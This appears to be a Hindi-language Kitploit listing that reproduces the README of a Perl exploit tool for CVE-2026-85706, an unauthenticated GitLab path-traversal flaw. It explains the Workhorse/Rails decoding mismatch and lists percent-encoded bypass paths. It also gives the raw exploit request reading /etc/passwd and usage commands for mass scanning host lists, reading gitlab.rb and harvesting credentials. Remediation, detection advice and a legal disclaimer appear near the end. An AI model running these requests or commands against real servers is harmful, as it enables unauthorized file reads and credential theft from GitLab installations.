Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-85706 — Perl PoC जो CVE-2026-85706 का शोषण करता है, यह एक अनधिकृत GitLab पाथ ट्रैवर्सल है जो मनमानी फ़ाइल पढ़ने, बल्क स्कैनिंग और क्रेडेंशियल हार्वेस्टिंग को सक्षम बनाता है। | Kitploit
उपकरण/GitHubGitHub/gabrielunknown/cve-2026-85706
भेद्यता स्कैनरभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनजानकारी एकत्र करनावेब सुरक्षापेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubgabrielunknown/cve-2026-85706

CVE-2026-85706

Perl PoC जो CVE-2026-85706 का शोषण करता है, यह एक अनधिकृत GitLab पाथ ट्रैवर्सल है जो मनमानी फ़ाइल पढ़ने, बल्क स्कैनिंग और क्रेडेंशियल हार्वेस्टिंग को सक्षम बनाता है।

9घं 15मि पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-85706 — GitLab अनधिकृत मनमाना फ़ाइल पठन

CVSS GitLab License MITRE

केवल अधिकृत पेनिट्रेशन परीक्षण और Red Team संचालन के लिए।
अनधिकृत उपयोग आपराधिक अपराध है। देखें कानूनी सूचना।


अवलोकन

CVE-2026-85706 GitLab Community और Enterprise Editions में एक CVSS 10.0 पथ ट्रैवर्सल भेद्यता है जो एक पूरी तरह से अनधिकृत हमलावर को एक ही HTTP अनुरोध के साथ सर्वर फ़ाइलसिस्टम से मनमानी फ़ाइलें पढ़ने की अनुमति देती है। कोई क्रेडेंशियल, कोई टोकन, कोई उपयोगकर्ता इंटरैक्शन आवश्यक नहीं।

  • प्रकटीकरण: 10 सितंबर, 2026
  • पहला शोषण देखा गया: 11 सितंबर, 2026 (प्रकटीकरण के 6 घंटे के भीतर)
  • CISA KEV में जोड़ा गया: 11 सितंबर, 2026
  • में ठीक किया गया: GitLab 19.1.8 / 19.2.6 / 19.3.2

प्रभावित संस्करण

शाखाभेद्य सीमामें ठीक किया गया
18.x18.7 → 19.1.719.1.8
19.219.2.0 → 19.2.519.2.6
19.319.3.0 → 19.3.119.3.2

तकनीकी विश्लेषण

आर्किटेक्चर संदर्भ

GitLab के HTTP स्टैक में तीन परतें हैं:

root@kitploit:~
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]

Workhorse एक स्मार्ट रिवर्स प्रॉक्सी के रूप में कार्य करता है: कुछ "अपलोड" एंडपॉइंट्स (रिपॉजिटरी कमिट, फ़ाइल ऑपरेशन) के लिए, यह मल्टीपार्ट अनुरोध बॉडी को पढ़ता है, फ़ाइल डेटा को डिस्क पर सहेजता है, और अनुरोध को Puma को अग्रेषित करने से पहले उसे फिर से लिखता है। महत्वपूर्ण रूप से, यह हर उस अनुरोध में एक JWT हेडर (Gitlab-Workhorse-Api-Request) संलग्न करता है जिसे यह प्रॉक्सी करता है। Rails फिर किसी भी हैंडलर लॉजिक को निष्पादित करने से पहले इस JWT को मान्य करता है (require_gitlab_workhorse! के माध्यम से)।

मूल कारण — तीन-परत पथ डिकोडिंग बेमेल

परत 1 — Workhorse रूट मिलान:
Workhorse एक संकलित रेगेक्स का उपयोग करके अनुरोध पथों का मिलान करता है जो कच्चे, प्रतिशत-एन्कोडेड बाइट स्ट्रिंग पर संचालित होता है। यह मिलान से पहले %XX अनुक्रमों को डिकोड नहीं करता है।

परत 2 — Puma/Rack रूटिंग:
Puma Grape द्वारा अनुरोध को रूट करने से पहले %XX अनुक्रमों को डिकोड करता है। इसलिए /repository/%63ommits के लिए एक अनुरोध /repository/commits में डिकोड होता है और CommitsController को रूट किया जाता है।

परत 3 — प्री-ऑथ फ़ाइल पठन:
एक बार Rails हैंडलर में पहुंचने पर (जो Workhorse के JWT के बिना पहुंचा जाता है क्योंकि Workhorse ने कभी अनुरोध का मिलान नहीं किया), हैंडलर क्वेरी स्ट्रिंग से params[:file][:path] पढ़ता है और कॉल करता है:

root@kitploit:~
File.open(params[:file][:path])   # ← happens BEFORE authentication

बायपास ट्रिक

एक स्थिर पथ खंड में एक वर्ण को प्रतिशत-एन्कोड करके, हमलावर का अनुरोध Workhorse से बिना पकड़े फिसल जाता है:

खंडमूलबायपास रूपएन्कोडेड वर्ण
commitscommits%63ommitsc → %63
commitscommits%43ommitsC → %43
repositoryrepository%72epositoryr → %72
filesfiles%66ilesf → %66
(कोई भी)commitscommits/अनुगामी स्लैश
(कोई भी)commitscommits.jsonGrape प्रत्यय

सामग्री निष्कासन तंत्र

फ़ाइल खोलने के बाद, सामग्री Rack के क्वेरी-स्ट्रिंग पार्सर के माध्यम से निष्कासित की जाती है:

root@kitploit:~
Rack::Utils.parse_nested_query(File.read(path))

यदि फ़ाइल में एक % दो वैध हेक्स अंकों के बाद नहीं है (जो Ruby कॉन्फ़िग फ़ाइलों, CI YAML, लॉग आदि में आम है), तो Rack उठाता है:

root@kitploit:~
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)

यह 400-प्रतिक्रिया बॉडी में अपमानजनक बाइट तक और उस सहित कच्ची फ़ाइल सामग्री होती है — जो अनधिकृत कॉलर को फ़ाइल की सामग्री प्रकट करती है।

शोषण योग्य % अनुक्रमों के बिना फ़ाइलें (जैसे, साफ़ /etc/passwd) पठन के बाद 401 या पैरामीटर-सत्यापन त्रुटि लौटाती हैं: यह एक फ़ाइल-अस्तित्व ओरेकल के रूप में कार्य करता है (पठन अभी भी प्री-ऑथेंटिकेशन हुआ)।

शोषण अनुरोध संरचना

root@kitploit:~
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

MITRE ATT&CK मैपिंग

तकनीकIDइस PoC में कार्यान्वयन
File and Directory DiscoveryT1083--scan मोड 38 संवेदनशील सर्वर पथों की जांच करता है
Credentials In FilesT1552.001--harvest लीक हुई सामग्री से कुंजी/टोकन/पासवर्ड निकालता है

स्थापना

आवश्यकताएँ

मॉड्यूलपैकेजभूमिका
LWP::UserAgentlibwww-perlHTTP क्लाइंट (अनिवार्य)
LWP::Protocol::httpslibwww-perlHTTPS समर्थन (अनिवार्य)
URI::Escapeliburi-perlक्वेरी-स्ट्रिंग एन्कोडिंग (अनिवार्य)
Term::ANSIColorlibterm-ansicolor-perlरंगीन आउटपुट (वैकल्पिक)
JSONlibjson-perlJSON आउटपुट मोड (वैकल्पिक)
root@kitploit:~
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl

# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON

# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON

# Make executable
chmod +x exploit.pl

उपयोग

root@kitploit:~
Usage: exploit.pl [OPTIONS]

Target:
  -u, --url <URL>            GitLab base URL            [default: http://localhost:8080]
  -p, --project-id <ID>      Numeric ID or namespace%2Fproject  [default: 1]
                              Commits API forms: project must be anonymously accessible
                              Files API forms:   any value works (file read precedes auth)

Exploitability check:
  -c, --check                Single-target check (quick by default — ≤9 requests)
      --full                 Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
  -L, --check-host-list <FILE>  Check multiple targets (one URL/host per line)
                             Add --full for the 4-stage sweep on every host

Single-file read:
  -f, --file <PATH>          Absolute server path to read (e.g. /etc/passwd)

Scan mode (T1083 — File and Directory Discovery):
  -s, --scan                 Probe built-in sensitive-file wordlist (38 paths)
  -w, --wordlist <FILE>      Use a custom file list (one absolute path per line)
  -H, --harvest              Extract credentials from leaked content (T1552.001)

Output:
  -o, --output <FILE>        Tee all output to file
  -j, --json                 Emit results as JSON array (requires JSON.pm)
  -v, --verbose              Print full request URL before each probe
      --no-color             Disable ANSI colour output

Connection:
  -t, --timeout <N>          Per-request timeout in seconds  [default: 15]
  -d, --delay <N>            Delay between requests in seconds (float)  [default: 0]
  -r, --retries <N>          Retry count on connection error  [default: 2]
  -A, --user-agent <STR>     Override User-Agent string

त्वरित बनाम पूर्ण जांच

त्वरित (डिफ़ॉल्ट)पूर्ण (--full)
अनुरोध≤9 (1 प्रीफ्लाइट + ≤4×2)27+
जल्दी निकासहाँ — पहले पुष्ट अंतर पर रुकता हैनहीं — सभी 22 रूपों को स्कैन करता है
संस्करण जानकारीनहींहाँ
बायपास रूप4 प्रतिनिधि Files APIसभी 22 (Commits + Files API)
के लिए सर्वोत्तमतेज़ रेकॉन, बड़ी होस्ट सूचियाँपेनटेस्ट रिपोर्ट, --file/--scan तैयारी

त्वरित जांच पाइपलाइन:

  1. GET /api/v4/version — पहुंच + GitLab संकेत
  2. 4 Files API बायपास रूपों में से प्रत्येक के लिए: /etc/hostname + अद्वितीय कैनरी की जांच करें
  3. canary → 'local file not present' ∧ hostname ≠ canary → भेद्य (तुरंत बाहर निकलें)
  4. सभी रूप समाप्त बिना किसी अंतर के → भेद्य नहीं

पूर्ण जांच पाइपलाइन (--full):

  1. GitLab पहचान + संस्करण फिंगरप्रिंटिंग
  2. नियंत्रण जांच (Workhorse बेसलाइन)
  3. सभी 22 बायपास रूप × कैनरी पथ
  4. सर्वोत्तम पुष्ट रूप के साथ विभेदक पुष्टि

--project-id और जांच मोड

--project-id फ़्लैग हर मोड में उपयोग करने योग्य है, जिसमें --check और --check-host-list शामिल हैं। इंटरैक्शन को समझना:

बायपास समूहरूपप्रोजेक्ट ID निर्भरता
Files API (%66iles, %46iles, re%70ository/files, …)14कोई नहीं — CVE के डिज़ाइन से फ़ाइल पठन प्रोजेक्ट जांच से पहले होता है। कोई भी ID (यहां तक कि गैर-मौजूद) सही संकेत उत्पन्न करता है।
Commits API (%63ommits, %43ommits, repository/commits/, …)8आवश्यक — प्रोजेक्ट मौजूद होना चाहिए और अनाम रूप से पठनीय होना चाहिए। यदि नहीं तो project-gate लौटाता है।

व्यावहारिक मार्गदर्शन:

  • --check (त्वरित): केवल Files API रूपों का उपयोग करता है → प्रोजेक्ट ID अप्रासंगिक।
  • --check --full: सभी 22 रूपों का परीक्षण करता है। यदि आप एक सार्वजनिक प्रोजेक्ट ID जानते हैं, तो Commits API रूपों की भी पुष्टि करने के लिए --project-id <N> पास करें।
  • --check-host-list: एक एकल --project-id शायद ही सभी होस्टों में एक सार्वजनिक प्रोजेक्ट से मैप होता है। इसे छोड़ दें।

उदाहरण

root@kitploit:~
# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check

# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5  # (default: --project-id 1)

# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full

# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt

# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full

# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json

# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt

# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd

# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest

# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt

# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json

# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v

प्रतिक्रिया निर्णय

निर्णयअर्थ
leakफ़ाइल सामग्री प्रतिध्वनित प्रतिक्रिया बॉडी में Rack पार्स त्रुटि के माध्यम से
leak-fragmentपैरामीटर-नाम खंड के माध्यम से आंशिक सामग्री प्रतिध्वनि
read-noechoबायपास पथ पर HTTP 401 — अस्पष्ट: या तो फ़ाइल पठन प्री-ऑथ हुआ (भेद्य, साफ़ सामग्री बिना किसी खराब %-अनुक्रम के), या पठन से पहले ऑथ सक्रिय होता है (पैच किया गया सर्वर)। विभेदक के माध्यम से पुष्टि करने के लिए --check का उपयोग करें
missingबायपास पथ काम किया; हैंडलर पहुंचा; फ़ाइल मौजूद नहीं या पठनीय नहीं
rewriteWorkhorse ने इस पथ रूप को इंटरसेप्ट किया — बायपास विफल
project-gateCommits API ने प्रोजेक्ट को अस्वीकार कर दिया; Files API रूपों का प्रयास करें
norouteRails ने इस पथ संस्करण को रूट नहीं किया

मूल Python PoC पर सुधार

विशेषताPython PoCयह Perl PoC
बायपास पथ संस्करण615
बल्क फ़ाइल स्कैनिंग (T1083)✗✓ अंतर्निहित 38-पथ वर्डलिस्ट
क्रेडेंशियल हार्वेस्टिंग (T1552.001)✗✓ 22 क्रेडेंशियल पैटर्न
JSON आउटपुट✗✓ --json
फ़ाइल आउटपुट / tee✗✓ --output
फ़ाइल-अस्तित्व ओरेकल संदेशबुनियादीस्पष्ट, रंग-कोडित
पुनः प्रयास लॉजिक✗✓ कॉन्फ़िगर करने योग्य --retries
प्रति-अनुरोध विलंब✗✓ --delay (फ्लोट सेकंड)
कस्टम User-Agent✗✓ --user-agent
नेमस्पेस/प्रोजेक्ट ID✗✓ स्वतः-एन्कोड / → %2F
वर्बोज़ मोड✗✓ --verbose

उपचार

  1. तुरंत पैच करें: GitLab 19.1.8, 19.2.6, या 19.3.2 में अपग्रेड करें।
  2. अल्पकालिक: नेटवर्क नियंत्रण के माध्यम से GitLab इंस्टेंस तक सार्वजनिक पहुंच को प्रतिबंधित करें।
  3. क्रेडेंशियल रोटेशन: पैच करने के बाद, उन सभी रहस्यों को रोटेट करें जो उजागर हो सकते थे:
    • gitlab.rb में secret_key_base और otp_key_base
    • डेटाबेस पासवर्ड
    • SSH कुंजियाँ (/home/git/.ssh/, /root/.ssh/)
    • CI/CD चर और रनर पंजीकरण टोकन
    • डिप्लॉय टोकन और व्यक्तिगत एक्सेस टोकन

पहचान

/api/v4/projects/*/repository/ पथों पर POST या PUT अनुरोधों की तलाश करें जिनमें शामिल हैं:

  • प्रतिशत-एन्कोडेड स्थिर खंड (%63, %43, %72, %70, %66, %46, आदि)
  • file.path क्वेरी पैरामीटर
  • commits या files एंडपॉइंट्स पर अनुगामी स्लैश या .json प्रारूप प्रत्यय

संदर्भ

  • CVE Record — cve.org
  • GitLab Patch Release 19.3.2
  • The Hacker News — CVSS 10 coverage
  • Forkast News — Technical breakdown
  • Security Affairs — Active exploitation
  • Python PoC — guneykabel
  • MITRE T1083 — File and Directory Discovery
  • MITRE T1552.001 — Credentials In Files

कानूनी सूचना

यह टूल केवल निम्नलिखित के लिए प्रदान किया गया है:

  • अधिकृत पेनिट्रेशन परीक्षण एंगेजमेंट (लिखित अनुमति आवश्यक)
  • अनुबंधित दायरे के भीतर Red Team संचालन
  • नियंत्रित, पृथक प्रयोगशाला वातावरण में सुरक्षा अनुसंधान
  • CTF (Capture The Flag) प्रतियोगिताएं
  • रक्षात्मक उद्देश्य: भेद्यता को समझना ताकि इसका पता लगाया/शमन किया जा सके

अनधिकृत उपयोग उन सिस्टमों के विरुद्ध जिनका आप स्वामित्व नहीं रखते या जिनके परीक्षण के लिए स्पष्ट लिखित प्राधिकरण का अभाव है, लगभग हर क्षेत्राधिकार में अवैध है और कंप्यूटर दुरुपयोग कानूनों (CFAA, Computer Misuse Act, आदि) के तहत आपराधिक मुकदमे का परिणाम हो सकता है।

इस टूल के लेखक और योगदानकर्ता इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए कोई दायित्व स्वीकार नहीं करते हैं।


श्रेय

  • मूल Python PoC: guneykabel — प्रारंभिक प्रूफ-ऑफ-कॉन्सेप्ट जिसने मुख्य बायपास तकनीक का प्रदर्शन किया
  • CVE असाइनमेंट और प्रकटीकरण: GitLab Security Team
  • यह Perl PoC: विस्तारित मल्टी-फॉर्म डिटेक्शन इंजन, क्रेडेंशियल हार्वेस्टिंग, बल्क स्कैनिंग, JSON पाइपलाइन आउटपुट, और विभेदक पुष्टि लॉजिक
टूल डाउनलोड करें